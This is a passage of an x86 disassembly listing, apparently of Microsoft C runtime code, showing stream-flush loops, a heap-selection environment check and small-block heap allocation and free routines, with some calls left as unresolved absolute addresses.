[esp+4+arg_0] test esi, esi jnz short loc_41DB62 push esi call sub_41DBF0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41DB62: ; CODE XREF: sub_41DB50+7j push esi call sub_41DB8B test eax, eax pop ecx jz short loc_41DB72 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41DB72: ; CODE XREF: sub_41DB50+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41DB87 push dword ptr [esi+10h] call sub_4238DF neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41DB87: ; CODE XREF: sub_41DB50+26j xor eax, eax pop esi retn sub_41DB50 endp ; =============== S U B R O U T I N E ======================================= sub_41DB8B proc near ; CODE XREF: sub_41B05B+1Ap ; ___:0041D223p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41DBD8 test ax, 108h jz short loc_41DBD8 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41DBD8 push edi push eax push dword ptr [esi+10h] call sub_42291D add esp, 0Ch cmp eax, edi jnz short loc_41DBD1 mov eax, [esi+0Ch] test al, 80h jz short loc_41DBD8 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41DBD8 ; --------------------------------------------------------------------------- loc_41DBD1: ; CODE XREF: sub_41DB8B+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41DBD8: ; CODE XREF: sub_41DB8B+14j ; sub_41DB8B+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41DB8B endp ; =============== S U B R O U T I N E ======================================= sub_41DBE7 proc near ; CODE XREF: sub_4239DBp push 1 call sub_41DBF0 pop ecx retn sub_41DBE7 endp ; =============== S U B R O U T I N E ======================================= sub_41DBF0 proc near ; CODE XREF: sub_41DB50+Ap ; sub_41DBE7+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4DC5A0, esi jle short loc_41DC4E loc_41DC01: ; CODE XREF: sub_41DBF0+5Cj mov eax, dword_4DB598 mov eax, [eax+esi*4] test eax, eax jz short loc_41DC45 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41DC45 cmp [esp+0Ch+arg_0], 1 jnz short loc_41DC2B push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41DC45 inc ebx jmp short loc_41DC45 ; --------------------------------------------------------------------------- loc_41DC2B: ; CODE XREF: sub_41DBF0+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41DC45 test cl, 2 jz short loc_41DC45 push eax call sub_41DB50 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41DC45 or edi, eax loc_41DC45: ; CODE XREF: sub_41DBF0+1Bj ; sub_41DBF0+23j ... inc esi cmp esi, dword_4DC5A0 jl short loc_41DC01 loc_41DC4E: ; CODE XREF: sub_41DBF0+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41DC59 mov eax, edi loc_41DC59: ; CODE XREF: sub_41DBF0+65j pop edi pop esi pop ebx retn sub_41DBF0 endp ; =============== S U B R O U T I N E ======================================= sub_41DC5D proc near ; CODE XREF: ___:0041DDC0p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 nop call near ptr 2660DE9h cmp word ptr [eax], 5A4Dh jnz short loc_41DC88 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41DC88 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41DC88: ; CODE XREF: sub_41DC5D+15j ; sub_41DC5D+1Cj pop esi retn sub_41DC5D endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 122Ch call sub_41BB20 lea eax, [ebp-98h] push ebx push eax mov dword ptr [ebp-98h], 94h nop call near ptr 26B05AAh test eax, eax jz short loc_41DCCD cmp dword ptr [ebp-88h], 2 jnz short loc_41DCCD cmp dword ptr [ebp-94h], 5 jb short loc_41DCCD push 1 pop eax jmp loc_41DDCF ; --------------------------------------------------------------------------- loc_41DCCD: ; CODE XREF: ___:0041DCB1j ; ___:0041DCBAj ... lea eax, [ebp-122Ch] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" nop call near ptr 2860000h test eax, eax jz loc_41DDBC xor ebx, ebx lea ecx, [ebp-122Ch] cmp [ebp-122Ch], bl jz short loc_41DD0F loc_41DCFC: ; CODE XREF: ___:0041DD0Dj mov al, [ecx] cmp al, 61h jl short loc_41DD0A cmp al, 7Ah jg short loc_41DD0A sub al, 20h mov [ecx], al loc_41DD0A: ; CODE XREF: ___:0041DD00j ; ___:0041DD04j inc ecx cmp [ecx], bl jnz short loc_41DCFC loc_41DD0F: ; CODE XREF: ___:0041DCFAj lea eax, [ebp-122Ch] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_41BE70 add esp, 0Ch test eax, eax jnz short loc_41DD31 lea eax, [ebp-122Ch] jmp short loc_41DD7A ; --------------------------------------------------------------------------- loc_41DD31: ; CODE XREF: ___:0041DD27j lea eax, [ebp-19Ch] push 104h push eax push ebx nop call near ptr 2650000h cmp [ebp-19Ch], bl lea ecx, [ebp-19Ch] jz short loc_41DD65 loc_41DD52: ; CODE XREF: ___:0041DD63j mov al, [ecx] cmp al, 61h jl short loc_41DD60 cmp al, 7Ah jg short loc_41DD60 sub al, 20h mov [ecx], al loc_41DD60: ; CODE XREF: ___:0041DD56j ; ___:0041DD5Aj inc ecx cmp [ecx], bl jnz short loc_41DD52 loc_41DD65: ; CODE XREF: ___:0041DD50j lea eax, [ebp-19Ch] push eax lea eax, [ebp-122Ch] push eax call sub_41B900 pop ecx pop ecx loc_41DD7A: ; CODE XREF: ___:0041DD2Fj cmp eax, ebx jz short loc_41DDBC push 2Ch push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx jz short loc_41DDBC inc eax mov ecx, eax cmp [eax], bl jz short loc_41DDA1 loc_41DD93: ; CODE XREF: ___:0041DD9Fj cmp byte ptr [ecx], 3Bh jnz short loc_41DD9C mov [ecx], bl jmp short loc_41DD9D ; --------------------------------------------------------------------------- loc_41DD9C: ; CODE XREF: ___:0041DD96j inc ecx loc_41DD9D: ; CODE XREF: ___:0041DD9Aj cmp [ecx], bl jnz short loc_41DD93 loc_41DDA1: ; CODE XREF: ___:0041DD91j push 0Ah push ebx push eax call sub_41BBA6 add esp, 0Ch cmp eax, 2 jz short loc_41DDCF cmp eax, 3 jz short loc_41DDCF cmp eax, 1 jz short loc_41DDCF loc_41DDBC: ; CODE XREF: ___:0041DCE6j ; ___:0041DD7Cj ... lea eax, [ebp-4] push eax call sub_41DC5D cmp byte ptr [ebp-4], 6 pop ecx sbb eax, eax add eax, 3 loc_41DDCF: ; CODE XREF: ___:0041DCC8j ; ___:0041DDB0j ... pop ebx leave retn ; --------------------------------------------------------------------------- dw 0C033h dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 452217E8h dd 0A3C08502h, 4DC904h, 93E83674h, 83FFFFFEh, 8A303F8h dd 75004DC9h, 3F8680Dh, 24E80000h, 59000000h, 0F8830AEBh dd 0E8187502h, 0B5Eh, 0F75C085h, 0C90435FFh, 0E890004Dh dd 244307Eh, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DC904h dd 21BEE890h, 0C0850236h, 4DC8FCA3h, 0C3017500h, 4244C8Bh dd 0C8F42583h, 8300004Dh, 4DC8F825h, 16A0000h, 4DC8F0A3h dd 0D8900h, 0C7004DC9h, 4DC8E805h, 1000h db 0, 58h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_41DE77 proc near ; CODE XREF: sub_41B0B1+17p ; sub_41B202+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4DC8F8 lea ecx, [eax+eax*4] mov eax, dword_4DC8FC lea ecx, [eax+ecx*4] loc_41DE87: ; CODE XREF: sub_41DE77+26j cmp eax, ecx jnb short loc_41DE9F mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41DEA1 add eax, 14h jmp short loc_41DE87 ; --------------------------------------------------------------------------- loc_41DE9F: ; CODE XREF: sub_41DE77+12j xor eax, eax locret_41DEA1: ; CODE XREF: sub_41DE77+21j retn sub_41DE77 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DEA2 proc near ; CODE XREF: sub_41B0B1+23p ; sub_41B202+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41E1C6 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41DF78 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF06 push 3Fh pop edx loc_41DF06: ; CODE XREF: sub_41DEA2+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41DF5A cmp edx, 20h jnb short loc_41DF31 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41DF52 ; --------------------------------------------------------------------------- loc_41DF31: ; CODE XREF: sub_41DEA2+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41DF52 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41DF52: ; CODE XREF: sub_41DEA2+86j ; sub_41DEA2+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41DF5D ; --------------------------------------------------------------------------- loc_41DF5A: ; CODE XREF: sub_41DEA2+6Aj mov ecx, [ebp+var_4] loc_41DF5D: ; CODE XREF: sub_41DEA2+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41DF78: ; CODE XREF: sub_41DEA2+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41DF86 push 3Fh pop edx loc_41DF86: ; CODE XREF: sub_41DEA2+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41E029 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41DFAB mov ebx, esi loc_41DFAB: ; CODE XREF: sub_41DEA2+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41DFBD mov edx, esi loc_41DFBD: ; CODE XREF: sub_41DEA2+117j cmp ebx, edx jz short loc_41E024 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41E00C cmp ebx, 20h jnb short loc_41DFED mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41E00C ; --------------------------------------------------------------------------- loc_41DFED: ; CODE XREF: sub_41DEA2+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E00C mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41E00C: ; CODE XREF: sub_41DEA2+128j ; sub_41DEA2+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41E024: ; CODE XREF: sub_41DEA2+11Dj mov esi, [ebp+arg_4] jmp short loc_41E02C ; --------------------------------------------------------------------------- loc_41E029: ; CODE XREF: sub_41DEA2+EDj mov ebx, [ebp+arg_0] loc_41E02C: ; CODE XREF: sub_41DEA2+185j cmp [ebp+var_C], 0 jnz short loc_41E03A cmp ebx, edx jz loc_41E0BB loc_41E03A: ; CODE XREF: sub_41DEA2+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41E0BB mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41E092 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E081 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E081: ; CODE XREF: sub_41DEA2+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41E0BB ; --------------------------------------------------------------------------- loc_41E092: ; CODE XREF: sub_41DEA2+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E0A8 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E0A8: ; CODE XREF: sub_41DEA2+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41E0BB: ; CODE XREF: sub_41DEA2+192j ; sub_41DEA2+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41E1C6 mov eax, dword_4DC8F4 test eax, eax jz loc_41E1B8 mov ecx, dword_4DC8EC mov esi, dword_4271C0 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi mov ecx, dword_4DC8EC mov eax, dword_4DC8F4 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4DC8F4 mov ecx, dword_4DC8EC mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4DC8F4 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4DC8F4 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E149 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4DC8F4 loc_41E149: ; CODE XREF: sub_41DEA2+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41E1B8 push ebx push 0 push dword ptr [eax+0Ch] call esi mov eax, dword_4DC8F4 push dword ptr [eax+10h] push 0 push dword_4DC904 nop call near ptr 2770000h mov eax, dword_4DC8F8 mov edx, dword_4DC8FC lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4DC8F4 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41CC90 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4DC8F8 cmp eax, dword_4DC8F4 jbe short loc_41E1AE sub [ebp+arg_0], 14h loc_41E1AE: ; CODE XREF: sub_41DEA2+306j mov eax, dword_4DC8FC mov dword_4DC8F0, eax loc_41E1B8: ; CODE XREF: sub_41DEA2+234j ; sub_41DEA2+2ABj mov eax, [ebp+arg_0] mov dword_4DC8EC, edi mov dword_4DC8F4, eax loc_41E1C6: ; CODE XREF: sub_41DEA2+38j ; sub_41DEA2+227j pop edi pop esi pop ebx leave retn sub_41DEA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E1CB proc near ; CODE XREF: sub_41B202+77p ; sub_41B513+18p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4DC8F8 mov edx, dword_4DC8FC push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41E20B or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41E21B ; --------------------------------------------------------------------------- loc_41E20B: ; CODE XREF: sub_41E1CB+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41E21B: ; CODE XREF: sub_41E1CB+3Ej mov eax, dword_4DC8F0 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41E242 loc_41E229: ; CODE XREF: sub_41E1CB+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E242 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41E229 loc_41E242: ; CODE XREF: sub_41E1CB+5Cj ; sub_41E1CB+6Aj cmp ebx, [ebp+var_4] jnz short loc_41E2C0 mov ebx, edx loc_41E249: ; CODE XREF: sub_41E1CB+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E265 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E263 add ebx, 14h jmp short loc_41E249 ; --------------------------------------------------------------------------- loc_41E263: ; CODE XREF: sub_41E1CB+91j cmp ebx, eax loc_41E265: ; CODE XREF: sub_41E1CB+83j jnz short loc_41E2C0 loc_41E267: ; CODE XREF: sub_41E1CB+ADj cmp ebx, [ebp+var_4] jnb short loc_41E27D cmp dword ptr [ebx+8], 0 jnz short loc_41E27A add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41E267 ; --------------------------------------------------------------------------- loc_41E27A: ; CODE XREF: sub_41E1CB+A5j cmp ebx, [ebp+var_4] loc_41E27D: ; CODE XREF: sub_41E1CB+9Fj jnz short loc_41E2A5 mov ebx, edx loc_41E281: ; CODE XREF: sub_41E1CB+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41E295 cmp dword ptr [ebx+8], 0 jnz short loc_41E293 add ebx, 14h jmp short loc_41E281 ; --------------------------------------------------------------------------- loc_41E293: ; CODE XREF: sub_41E1CB+C1j cmp ebx, eax loc_41E295: ; CODE XREF: sub_41E1CB+BBj jnz short loc_41E2A5 call sub_41E4D4 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41E2B9 loc_41E2A5: ; CODE XREF: sub_41E1CB:loc_41E27Dj ; sub_41E1CB:loc_41E295j push ebx call sub_41E585 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41E2C0 loc_41E2B9: ; CODE XREF: sub_41E1CB+D8j xor eax, eax jmp loc_41E4CF ; --------------------------------------------------------------------------- loc_41E2C0: ; CODE XREF: sub_41E1CB+7Aj ; sub_41E1CB:loc_41E265j ... mov dword_4DC8F0, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41E2E7 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41E31E loc_41E2E7: ; CODE XREF: sub_41E1CB+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41E31B loc_41E304: ; CODE XREF: sub_41E1CB+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41E304 loc_41E31B: ; CODE XREF: sub_41E1CB+137j mov edx, [ebp+var_4] loc_41E31E: ; CODE XREF: sub_41E1CB+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41E347 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41E347: ; CODE XREF: sub_41E1CB+16Dj ; sub_41E1CB+183j test ecx, ecx jl short loc_41E350 shl ecx, 1 inc edi jmp short loc_41E347 ; --------------------------------------------------------------------------- loc_41E350: ; CODE XREF: sub_41E1CB+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41E36D push 3Fh pop esi loc_41E36D: ; CODE XREF: sub_41E1CB+19Dj cmp esi, edi jz loc_41E482 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E3DE cmp edi, 20h jge short loc_41E3AD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3AD: ; CODE XREF: sub_41E1CB+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41E3DB mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_41E3DE ; --------------------------------------------------------------------------- loc_41E3DB: ; CODE XREF: sub_41E1CB+1D6j ; sub_41E1CB+203j mov ebx, [ebp+arg_0] loc_41E3DE: ; CODE XREF: sub_41E1CB+1B0j ; sub_41E1CB+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_41E48E mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41E47F mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_41E450 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E43E mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_41E43E: ; CODE XREF: sub_41E1CB+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_41E47F ; --------------------------------------------------------------------------- loc_41E450: ; CODE XREF: sub_41E1CB+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41E469 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41E469: ; CODE XREF: sub_41E1CB+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_41E47F: ; CODE XREF: sub_41E1CB+24Ej ; sub_41E1CB+283j mov ecx, [ebp+var_8] loc_41E482: ; CODE XREF: sub_41E1CB+1A4j test ecx, ecx jz short loc_41E491 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_41E491 ; --------------------------------------------------------------------------- loc_41E48E: ; CODE XREF: sub_41E1CB+229j mov ecx, [ebp+var_8] loc_41E491: ; CODE XREF: sub_41E1CB+2B9j ; sub_41E1CB+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_41E4C7 cmp ebx, dword_4DC8F4 jnz short loc_41E4C7 mov ecx, [ebp+var_4] cmp ecx, dword_4DC8EC jnz short loc_41E4C7 and dword_4DC8F4, 0 loc_41E4C7: ; CODE XREF: sub_41E1CB+2E0j ; sub_41E1CB+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_41E4CF: ; CODE XREF: sub_41E1CB+F0j pop edi pop esi pop ebx leave retn sub_41E1CB endp ; =============== S U B R O U T I N E ======================================= sub_41E4D4 proc near ; CODE XREF: sub_41E1CB+CCp mov eax, dword_4DC8F8 mov ecx, dword_4DC8E8 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_41E517 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_4DC8FC push edi push dword_4DC904 nop call near ptr 2810000h cmp eax, edi jz short loc_41E567 add dword_4DC8E8, 10h mov dword_4DC8FC, eax mov eax, dword_4DC8F8 loc_41E517: ; CODE XREF: sub_41E4D4+11j mov ecx, dword_4DC8FC push 41C4h push 8 lea eax, [eax+eax*4] push dword_4DC904 lea esi, [ecx+eax*4] call near ptr 2780000h nop cmp eax, edi mov [esi+10h], eax jz short loc_41E567 push 4 push 2000h push 100000h push edi call near ptr 2870698h nop cmp eax, edi mov [esi+0Ch], eax jnz short loc_41E56B push dword ptr [esi+10h] push edi push dword_4DC904 nop call near ptr 2770000h loc_41E567: ; CODE XREF: sub_41E4D4+30j ; sub_41E4D4+67j xor eax, eax jmp short loc_41E582 ; --------------------------------------------------------------------------- loc_41E56B: ; CODE XREF: sub_41E4D4+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_4DC8F8 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_41E582: ; CODE XREF: sub_41E4D4+95j pop edi pop esi retn sub_41E4D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E585 proc near ; CODE XREF: sub_41E1CB+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_41E597: ; CODE XREF: sub_41E585+19j test eax, eax jl short loc_41E5A0 shl eax, 1 inc ebx jmp short loc_41E597 ; --------------------------------------------------------------------------- loc_41E5A0: ; CODE XREF: sub_41E585+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_41E5B5: ; CODE XREF: sub_41E585+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_41E5B5 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call near ptr 2870698h nop test eax, eax jnz short loc_41E5E8 or eax, 0FFFFFFFFh jmp loc_41E67B ; --------------------------------------------------------------------------- loc_41E5E8: ; CODE XREF: sub_41E585+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_41E62E lea eax, [edi+10h] loc_41E5F5: ; CODE XREF: sub_41E585+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_41E5F5 loc_41E62E: ; CODE XREF: sub_41E585+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, al mov eax, [ebp+arg_0] mov [esi+43h], cl jnz short loc_41E66B or [eax+4], edi loc_41E66B: ; CODE XREF: sub_41E585+E1j mov edx, 80000000h mov ecx, ebx shr edx, cl not edx and [eax+8], edx mov eax, ebx loc_41E67B: ; CODE XREF: sub_41E585+5Ej pop edi pop esi pop ebx leave retn sub_41E585 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E680 proc near ; CODE XREF: sub_41B202+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, 